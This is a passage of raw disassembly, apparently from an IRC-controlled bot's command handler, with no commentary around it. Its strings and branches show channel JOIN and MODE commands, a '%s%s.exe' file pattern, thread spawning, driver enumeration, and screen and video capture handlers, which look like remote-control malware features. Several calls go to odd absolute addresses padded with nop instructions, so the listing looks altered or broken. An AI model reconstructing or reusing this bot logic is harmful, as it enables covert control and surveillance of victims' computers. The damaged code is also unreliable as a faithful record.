		push	offset aSS_exe	; "%s%s.exe"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+esi+var_88]
		add	esp, 10h
		cmp	eax, ebx
		mov	[ebp+var_57C], 1
		mov	[ebp+var_578], ebx
		jz	short loc_412D46
		push	10h
		push	ebx
		push	eax
		call	sub_418A3B
		add	esp, 0Ch
		mov	[ebp+var_570], eax
		jmp	short loc_412D4C
; ---------------------------------------------------------------------------

loc_412D46:				; CODE XREF: sub_40EE72+3EBEj
		mov	[ebp+var_570], ebx

loc_412D4C:				; CODE XREF: sub_40EE72+3ED2j
		mov	esi, [ebp+esi+var_84]
		cmp	esi, ebx
		jz	short loc_412D66
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_574], eax
		jmp	short loc_412D6C
; ---------------------------------------------------------------------------

loc_412D66:				; CODE XREF: sub_40EE72+3EE3j
		mov	[ebp+var_574], ebx

loc_412D6C:				; CODE XREF: sub_40EE72+3EF2j
		movzx	eax, [ebp+var_9C3]
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_800]
		mov	[ebp+var_804], esi
		push	eax
		call	sub_418C10
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_564], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset unk_436948
		push	eax
		call	sub_4172B0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	17h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_580], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_804]
		push	ebx
		push	eax
		push	offset sub_40CAF1
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_580]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_412E1A

loc_412E04:				; CODE XREF: sub_40EE72+3FA6j
		cmp	[ebp+var_560], ebx
		jnz	loc_413A64
		push	32h
		call	near ptr 26003D2h
		nop
		jmp	short loc_412E04
; ---------------------------------------------------------------------------

loc_412E1A:				; CODE XREF: sub_40EE72+3F90j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_4368FC
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412E2B:				; CODE XREF: sub_40EE72+3E50j
		push	offset unk_4368A8
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_412E35:				; CODE XREF: sub_40EE72+251Bj
					; sub_40EE72+2532j
		push	[ebp+var_90]
		push	offset dword_4386A4
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		push	edi
		call	sub_41781F
		add	esp, 28h
		test	eax, eax
		jle	short loc_412EBE
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		pop	ecx
		push	eax
		nop
		call	near ptr 26003D2h

loc_412EBE:				; CODE XREF: sub_40EE72+4036j
		push	offset dword_436874
		call	sub_40BF6D
		mov	eax, [ebp+arg_24]
		pop	ecx
		inc	eax
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_412ED2:				; CODE XREF: sub_40EE72+24EDj
					; sub_40EE72+2504j
		push	[ebp+var_90]
		push	offset dword_4386A4
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		mov	eax, [ebp+arg_18]
		inc	eax
		push	offset aRepeat	; "repeat"
		push	eax
		call	sub_4176D0
		add	esp, 10h
		test	eax, eax
		push	esi
		jz	short loc_412F91
		push	[ebp+var_8C]
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]

loc_412F4B:				; DATA XREF: ___:off_42DE40o
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	offset dword_436844
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		push	edi
		call	sub_41781F
		add	esp, 14h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		add	eax, [ebp+arg_24]
		pop	ecx
		jmp	loc_40F23C
; ---------------------------------------------------------------------------

loc_412F91:				; CODE XREF: sub_40EE72+40A5j
		push	offset dword_436800
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_412F9B:				; CODE XREF: sub_40EE72+24BFj
					; sub_40EE72+24D6j
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367F8
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h

loc_412FB8:				; CODE XREF: sub_40EE72+41B0j
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47

loc_412FD2:				; CODE XREF: sub_40EE72+4CBDj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633

loc_412FF6:				; CODE XREF: sub_40EE72+446Bj
					; sub_40EE72+5D44j
		add	esp, 0Ch
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_412FFE:				; CODE XREF: sub_40EE72+2491j
					; sub_40EE72+24A8j
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2DC]
		push	[ebp+arg_18]
		push	offset dword_4367EC
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 14h
		jmp	short loc_412FB8
; ---------------------------------------------------------------------------

loc_413024:				; CODE XREF: sub_40EE72+2463j
					; sub_40EE72+247Aj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367E4
		push	eax
		call	sub_4172B0
		push	edi
		call	sub_41781F
		add	esp, 10h
		test	eax, eax
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	[ebp+arg_18]
		push	edi
		push	offset dword_4367B8
		jmp	loc_4132D8
; ---------------------------------------------------------------------------

loc_413090:				; CODE XREF: sub_40EE72+2435j
					; sub_40EE72+244Cj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4130C1
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4367B0
		push	eax
		call	sub_4172B0
		add	esp, 0Ch

loc_4130C1:				; CODE XREF: sub_40EE72+4238j
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		lea	eax, [ebp+var_2DC]
		push	eax
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436784
		jmp	loc_4132D8
; ---------------------------------------------------------------------------

loc_413115:				; CODE XREF: sub_40EE72+2407j
					; sub_40EE72+241Ej
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	edi
		call	sub_41781F
		test	eax, eax
		pop	ecx
		jle	loc_414F47
		push	edi
		call	sub_41781F
		cmp	eax, 1F4h
		pop	ecx
		jge	loc_414F47
		push	esi
		push	offset dword_428598
		push	edi
		call	sub_41781F
		imul	eax, 234h
		pop	ecx
		push	dword_4450CC[eax]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_436758
		jmp	loc_4132D8
; ---------------------------------------------------------------------------

loc_413183:				; CODE XREF: sub_40EE72+23D9j
					; sub_40EE72+23F0j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		add	esp, 0Ch
		push	esi
		push	offset dword_436720
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_4131BD:				; CODE XREF: sub_40EE72+23ABj
					; sub_40EE72+23C2j
		push	[ebp+var_90]
		push	offset dword_4386A4
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	offset dword_436714
		push	[ebp+arg_4]
		call	sub_40D633
		push	edi
		call	sub_41781F
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		call	near ptr 26003D2h
		nop
		push	[ebp+esi+var_88]
		push	[ebp+arg_18]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40D633
		push	offset dword_4366F0
		call	sub_40BF6D
		add	esp, 14h
		jmp	loc_414F47
; ---------------------------------------------------------------------------

loc_413226:				; CODE XREF: sub_40EE72+237Dj
					; sub_40EE72+2394j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	esi
		lea	eax, [ebp+var_2DC]
		push	offset dword_436F0C
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		push	esi
		push	edi
		push	offset dword_4366C4
		jmp	short loc_4132D8
; ---------------------------------------------------------------------------

loc_41328C:				; CODE XREF: sub_40EE72+234Fj
					; sub_40EE72+2366j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		call	sub_417AB0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_417AB0
		add	eax, [ebp+var_C]
		push	[ebp+arg_18]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_417880
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_414F47
		push	ebx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		push	esi
		push	edi
		push	offset dword_436698

loc_4132D8:				; CODE XREF: sub_40EE72+4219j
					; sub_40EE72+429Ej ...
		call	sub_40BFE1
		jmp	loc_412FF6
; ---------------------------------------------------------------------------

loc_4132E2:				; CODE XREF: sub_40EE72+2321j
					; sub_40EE72+2338j
		cmp	[ebp+var_C], ebx
		jz	loc_40F239
		push	[ebp+arg_18]
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_40F239
		push	eax
		push	edi
		call	sub_40BE75
		pop	ecx
		pop	ecx
		push	edi
		push	offset dword_43666C
		jmp	loc_413BFD
; ---------------------------------------------------------------------------

loc_413314:				; CODE XREF: sub_40EE72+22E1j
					; sub_40EE72+22F8j
		push	edi
		push	[ebp+arg_1C]
		call	sub_417880
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_414F47
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	loc_4133B8
		push	esi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4133A0
		push	esi
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	[ebp+var_94]
		push	offset dword_436898
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_2DC]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_2DC]
		push	esi
		push	edi
		push	offset dword_436638
		push	eax
		call	sub_4172B0
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_4133A0:				; CODE XREF: sub_40EE72+44D3j
		lea	eax, [ebp+var_2DC]
		push	offset dword_4365F8
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_4133B8:				; CODE XREF: sub_40EE72+44BEj
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40BB8C
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4365D0
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_413402:				; CODE XREF: sub_40EE72+22B3j
					; sub_40EE72+22CAj
		push	offset aScreen	; "screen"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_413465
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_413452
		push	[ebp+esi+var_8C]
		call	sub_4085B3
		cmp	eax, 1
		pop	ecx
		jnz	short loc_41344B
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_43658C
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_413465
; ---------------------------------------------------------------------------

loc_41344B:				; CODE XREF: sub_40EE72+45BAj
		push	offset dword_436550
		jmp	short loc_413457
; ---------------------------------------------------------------------------

loc_413452:				; CODE XREF: sub_40EE72+45A8j
		push	offset dword_436508

loc_413457:				; CODE XREF: sub_40EE72+45DEj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_413465:				; CODE XREF: sub_40EE72+459Fj
					; sub_40EE72+45D7j
		push	offset aDrivers	; "drivers"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4134FC
		mov	[ebp+arg_0], ebx

loc_41347D:				; CODE XREF: sub_40EE72+4675j
		lea	eax, [ebp+var_75C]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_3F8]
		push	0FFh
		push	eax
		push	[ebp+arg_0]
		call	dword_43F698
		test	eax, eax
		jz	short loc_4134E0
		lea	eax, [ebp+var_75C]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	[ebp+arg_0]
		push	offset dword_4364CC
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_15B0]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 28h

loc_4134E0:				; CODE XREF: sub_40EE72+462Ej
		inc	[ebp+arg_0]
		cmp	[ebp+arg_0], 0Ah
		jl	short loc_41347D
		lea	eax, [ebp+var_2DC]
		push	offset dword_436498
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4134FC:				; CODE XREF: sub_40EE72+4602j
		push	offset aFrame	; "frame"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4135A2
		cmp	[ebp+esi+var_8C], ebx
		jz	short loc_41358F
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_41358F
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_41358F
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		jz	short loc_41358F
		push	eax
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+esi+var_8C]
		call	sub_4087EE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_413588
		push	[ebp+esi+var_8C]
		lea	eax, [ebp+var_2DC]
		push	offset dword_436454
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	short loc_4135A2
; ---------------------------------------------------------------------------

loc_413588:				; CODE XREF: sub_40EE72+46F7j
		push	offset dword_436410
		jmp	short loc_413594
; ---------------------------------------------------------------------------

loc_41358F:				; CODE XREF: sub_40EE72+46A6j
					; sub_40EE72+46AFj ...
		push	offset dword_4363C8

loc_413594:				; CODE XREF: sub_40EE72+471Bj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_4135A2:				; CODE XREF: sub_40EE72+4699j
					; sub_40EE72+4714j
		push	offset aVideo	; "video"
		push	edi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_413A64
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_41363B
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_41363B
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	short loc_41363B
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_41363B
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	short loc_41363B
		push	esi
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_10]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41781F
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_4089E7
		add	esp, 14h
		test	eax, eax
		jnz	short loc_413631
		push	[ebp+arg_18]
		push	offset dword_43638C
		jmp	loc_411888
; ---------------------------------------------------------------------------

loc_413631:				; CODE XREF: sub_40EE72+47B0j
		push	offset dword_43633C
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_41363B:				; CODE XREF: sub_40EE72+4751j
					; sub_40EE72+475Fj ...
		push	offset dword_4362F0
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_413645:				; CODE XREF: sub_40EE72+1CF0j
					; sub_40EE72+1D07j
		push	offset aR	; "r"
		push	edi
		call	sub_4179A8
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4136C0
		mov	ebx, 200h
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 0Ch

loc_41366E:				; CODE XREF: sub_40EE72+482Bj
		test	eax, eax
		jz	short loc_41369F
		push	1
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		push	esi
		lea	eax, [ebp+var_2DC]
		push	ebx
		push	eax
		call	sub_41900C
		add	esp, 20h
		jmp	short loc_41366E
; ---------------------------------------------------------------------------

loc_41369F:				; CODE XREF: sub_40EE72+47FEj
		push	esi
		call	sub_417900
		pop	ecx
		lea	eax, [ebp+var_2DC]
		push	edi
		push	offset dword_4362BC
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_4110FD
; ---------------------------------------------------------------------------

loc_4136C0:				; CODE XREF: sub_40EE72+47E4j
		push	edi
		push	offset dword_43628C
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4136CB:				; CODE XREF: sub_40EE72+1CC2j
					; sub_40EE72+1CD9j
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_414F47
		push	offset asc_42A660 ; "\n"
		push	esi
		call	sub_4179D0
		push	esi
		call	sub_40B358
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41370B
		push	offset dword_436250
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_41370B:				; CODE XREF: sub_40EE72+488Dj
		push	esi
		push	offset dword_436228
		jmp	loc_414AB4
; ---------------------------------------------------------------------------

loc_413716:				; CODE XREF: sub_40EE72+1C94j
					; sub_40EE72+1CABj
		cmp	[ebp+var_C], ebx
		jz	loc_414F47
		push	edi
		push	[ebp+var_C]
		call	sub_417880
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_414F47
		push	eax
		call	sub_40AAFA
		test	eax, eax
		pop	ecx
		jnz	short loc_413747
		push	offset unk_4361FC
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_413747:				; CODE XREF: sub_40EE72+48C9j
		push	offset dword_4361D0
		jmp	loc_413A56
; ---------------------------------------------------------------------------

loc_413751:				; CODE XREF: sub_40EE72+1C66j
					; sub_40EE72+1C7Dj
		push	7Fh
		lea	eax, [ebp+var_6EC]
		push	edi
		push	eax
		call	sub_418C10
		mov	esi, [ebp+esi+var_8C]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_413780
		push	7Fh
		lea	eax, [ebp+var_66C]
		push	esi
		push	eax
		call	sub_418C10
		add	esp, 0Ch

loc_413780:				; CODE XREF: sub_40EE72+48FAj
		push	7Fh
		lea	eax, [ebp+var_5EC]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_6F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_564], eax
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_4361A8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	15h
		push	eax
		call	sub_416D5C
		add	esp, 18h
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6F0]
		push	ebx
		push	eax
		push	offset sub_40BC4B
		push	ebx
		push	ebx
		nop
		call	near ptr 2680AA8h
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413821

loc_41380B:				; CODE XREF: sub_40EE72+49ADj
		cmp	[ebp+var_560], ebx
		jnz	loc_414AC3
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_41380B
; ---------------------------------------------------------------------------

loc_413821:				; CODE XREF: sub_40EE72+4997j
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset unk_43615C
		jmp	loc_414AB4
; ---------------------------------------------------------------------------

loc_413832:				; CODE XREF: sub_40EE72+1C38j
					; sub_40EE72+1C4Fj
		push	ebx
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	edi
		call	sub_406387
		add	esp, 10h
		push	edi
		push	offset dword_436138
		jmp	loc_414F40
; ---------------------------------------------------------------------------

loc_413850:				; CODE XREF: sub_40EE72+1C0Aj
					; sub_40EE72+1C21j
		push	14h
		lea	eax, [ebp+var_708]
		push	ebx
		push	eax
		call	sub_417330
		add	esp, 0Ch
		lea	eax, [ebp+var_6F4]
		push	edi
		push	offset aS_1	; "%s"
		push	eax
		call	sub_4172B0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_710], eax
		lea	eax, [ebp+var_D8]
		push	eax
		lea	eax, [ebp+var_5F0]
		push	80h
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		lea	eax, [ebp+var_6F4]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_436104
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	12h
		push	eax
		call	sub_416D5C
		add	esp, 1Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_710]
		push	ebx
		push	eax
		push	offset sub_40C512
		push	ebx
		push	ebx
		call	near ptr 2680AA8h
		nop
		mov	ecx, [ebp+var_56C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_413929

loc_413913:				; CODE XREF: sub_40EE72+4AB5j
		cmp	[ebp+var_560], ebx
		jnz	loc_414E11
		push	32h
		nop
		call	near ptr 26003D2h
		jmp	short loc_413913
; ---------------------------------------------------------------------------

loc_413929:				; CODE XREF: sub_40EE72+4A9Fj
		nop
		call	near ptr 2650C45h
		push	eax
		push	offset dword_4385AC
		jmp	loc_414E02
; ---------------------------------------------------------------------------

loc_41393A:				; CODE XREF: sub_40EE72+1BDCj
					; sub_40EE72+1BF3j
		push	edi
		call	near ptr 27D0BEDh
		nop
		test	eax, eax
		jz	short loc_413964
		push	edi
		push	offset dword_4360D8
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		add	esp, 10h
		jmp	loc_4110DC
; ---------------------------------------------------------------------------

loc_413964:				; CODE XREF: sub_40EE72+4AD1j
		push	offset dword_436A78
		call	sub_40AA35
		pop	ecx
		push	eax
		jmp	loc_414564
; ---------------------------------------------------------------------------

loc_413975:				; CODE XREF: sub_40EE72+1BAEj
					; sub_40EE72+1BC5j
		push	edi
		call	sub_41781F
		push	eax
		call	sub_415419
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		cmp	eax, esi
		push	edi
		jnz	short loc_413992
		push	offset unk_4360A0
		jmp	short loc_413997
; ---------------------------------------------------------------------------

loc_413992:				; CODE XREF: sub_40EE72+4B17j
		push	offset unk_43605C

loc_413997:				; CODE XREF: sub_40EE72+4B1Ej
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_411100
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_411100
; ---------------------------------------------------------------------------

loc_4139D0:				; CODE XREF: sub_40EE72+1B80j
					; sub_40EE72+1B97j
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_41518A
		add	esp, 18h
		cmp	eax, 1
		push	edi
		jnz	short loc_4139F2
		push	offset unk_436028
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4139F2:				; CODE XREF: sub_40EE72+4B74j
		push	offset unk_435FE8
		jmp	loc_4110B1
; ---------------------------------------------------------------------------

loc_4139FC:				; CODE XREF: sub_40EE72+1B52j
					; sub_40EE72+1B69j
		push	edi
		call	dword_43F6A8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_413A36
		push	2
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		call	dword_43F620
		cmp	eax, ebx
		jz	short loc_413A51
		push	dword ptr [eax]

loc_413A1F:				; CODE XREF: sub_40EE72+4BDDj
		push	edi
		lea	eax, [ebp+var_2DC]
		push	offset dword_435FBC
		push	eax
		call	sub_4172B0
		add	esp, 10h
		jmp	short loc_413A64
; ---------------------------------------------------------------------------

loc_413A36:				; CODE XREF: sub_40EE72+4B97j
		push	edi
		call	dword_43F6EC
		cmp	eax, ebx
		jz	short loc_413A51
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_43F6F4
		push	eax
		jmp	short loc_413A1F
; ---------------------------------------------------------------------------

loc_413A51:				; CODE XREF: sub_40EE72+4BA9j
					; sub_40EE72+4BCDj
		push	offset dword_435F84

loc_413A56:				; CODE XREF: sub_40EE72+3E2Fj
					; sub_40EE72+3FBEj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx

loc_413A64:				; CODE XREF: sub_40EE72+2A25j
					; sub_40EE72+3B37j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414AC3
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h
		jmp	loc_414AC3
; ---------------------------------------------------------------------------

loc_413A8E:				; CODE XREF: sub_40EE72+1B24j
					; sub_40EE72+1B3Bj
		push	7Fh
		push	edi
		push	[ebp+arg_14]
		call	sub_418C10
		add	esp, 0Ch
		push	edi
		push	offset dword_435F50
		jmp	loc_410E48
; ---------------------------------------------------------------------------

loc_413AA7:				; CODE XREF: sub_40EE72+1AF6j
					; sub_40EE72+1B0Dj
		push	5
		push	ebx
		push	ebx
		push	edi
